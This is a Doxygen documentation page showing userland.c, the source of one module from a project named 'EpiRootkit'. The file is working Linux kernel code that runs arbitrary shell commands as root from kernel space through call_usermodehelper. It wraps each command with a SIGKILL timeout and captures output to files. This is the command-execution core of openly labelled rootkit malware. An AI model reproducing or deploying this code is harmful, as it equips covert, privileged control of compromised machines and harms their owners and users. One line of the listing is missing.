EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
userland.c
Go to the documentation of this file.
1#include <linux/kmod.h>
2#include <linux/slab.h>
3#include <linux/string.h>
4#include <linux/types.h>
5
6#include "epirootkit.h"
7
13static char *trim_leading_whitespace(char *str) {
14 while (*str == ' ' || *str == '\t' || *str == '\n')
15 str++;
16 return str;
17}
18
25static void detect_redirections(const char *cmd, bool *redirect_stdout,
26 bool *redirect_stderr) {
27 // __evann hates One Redirection
28 char *redirect_stderr_add = strstr(cmd, "2>");
29 char *redirect_stdout_add = strstr(cmd, ">");
30
31 *redirect_stderr = (redirect_stderr_add != NULL);
32 *redirect_stdout = (redirect_stdout_add != redirect_stderr_add && redirect_stdout_add != NULL);
33}
34
44static char *build_timeout_prefix(int timeout) {
45 if (timeout <= 0)
46 return kstrdup("", GFP_KERNEL);
47
48 const char *base_cmd = "timeout --signal=SIGKILL --preserve-status";
49 int size = snprintf(NULL, 0, "%s %d", base_cmd, timeout);
50 char *timeout_cmd = kzalloc(size + 1, GFP_KERNEL);
51 if (!timeout_cmd)
52 return NULL;
53
54 snprintf(timeout_cmd, size + 1, "%s %d", base_cmd, timeout);
55 return timeout_cmd;
56}
57
71static int build_full_command(char *buffer, size_t buffer_size,
72 const char *timeout_cmd, const char *user_cmd,
73 bool redirect_stdout, bool redirect_stderr,
74 bool catch_stds, const char *stdout_file,
75 const char *stderr_file) {
76 const char *format;
77
78 if ((redirect_stderr && redirect_stdout) || !catch_stds) {
79 format = "%s %s";
80 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd) >= buffer_size
81 ? -EINVAL
82 : 0;
83 }
84 else if (redirect_stderr) {
85 format = "%s %s > %s";
86 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
87 stdout_file)
88 >= buffer_size
89 ? -EINVAL
90 : 0;
91 }
92 else if (redirect_stdout) {
93 format = "%s %s 2> %s";
94 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
95 stderr_file)
96 >= buffer_size
97 ? -EINVAL
98 : 0;
99 }
100 else {
101 format = "%s %s > %s 2> %s";
102 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
103 stdout_file, stderr_file)
104 >= buffer_size
105 ? -EINVAL
106 : 0;
107 }
108}
109
116static int execute_command(const char *cmd_str, char *envp[]) {
117 char *argv[] = { "/bin/sh", "-c", (char *)cmd_str, NULL };
118 struct subprocess_info *sub_info;
119
120 sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, NULL,
121 NULL, NULL);
122 if (!sub_info)
123 return -ENOMEM;
124
125 return call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
126}
127
139int exec_str_as_command_with_timeout(char *user_cmd, bool catch_stds,
140 int timeout) {
141 char *cmd_buffer = NULL;
142 char *timeout_cmd = NULL;
143 bool redir_stdout = false, redir_stderr = false;
144 int status = 0;
145
146 static char *envp[] = { "HOME=/", "TERM=xterm",
147 "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/tmp", NULL };
148
149 user_cmd = trim_leading_whitespace(user_cmd);
150
151 cmd_buffer = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
152 if (!cmd_buffer)
153 return -ENOMEM;
154
155 detect_redirections(user_cmd, &redir_stdout, &redir_stderr);
156
157 timeout_cmd = build_timeout_prefix(timeout);
158 if (!timeout_cmd) {
159 kfree(cmd_buffer);
160 return -ENOMEM;
161 }
162
163 status = build_full_command(cmd_buffer, STD_BUFFER_SIZE, timeout_cmd,
164 user_cmd, redir_stdout, redir_stderr, catch_stds,
166
167 if (status < 0) {
168 DBG_MSG("Command too long or invalid\n");
169 kfree(cmd_buffer);
170 kfree(timeout_cmd);
171 return status;
172 }
173
174 DBG_MSG("exec_str_as_command: executing command: %s\n", cmd_buffer);
175
176 status = execute_command(cmd_buffer, envp);
177 DBG_MSG("exec_str_as_command: command exited with status: %d\n", status);
178
179 kfree(cmd_buffer);
180 kfree(timeout_cmd);
181
182 return status;
183}
#define STDOUT_FILE
Definition config.h:57
#define STDERR_FILE
Definition config.h:58
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define STD_BUFFER_SIZE
Definition config.h:68
int exec_str_as_command_with_timeout(char *user_cmd, bool catch_stds, int timeout)
Definition userland.c:139
static char * build_timeout_prefix(int timeout)
Definition userland.c:44
static int build_full_command(char *buffer, size_t buffer_size, const char *timeout_cmd, const char *user_cmd, bool redirect_stdout, bool redirect_stderr, bool catch_stds, const char *stdout_file, const char *stderr_file)
Definition userland.c:71
static void detect_redirections(const char *cmd, bool *redirect_stdout, bool *redirect_stderr)
Definition userland.c:25
static char * trim_leading_whitespace(char *str)
Definition userland.c:13
static int execute_command(const char *cmd_str, char *envp[])
Definition userland.c:116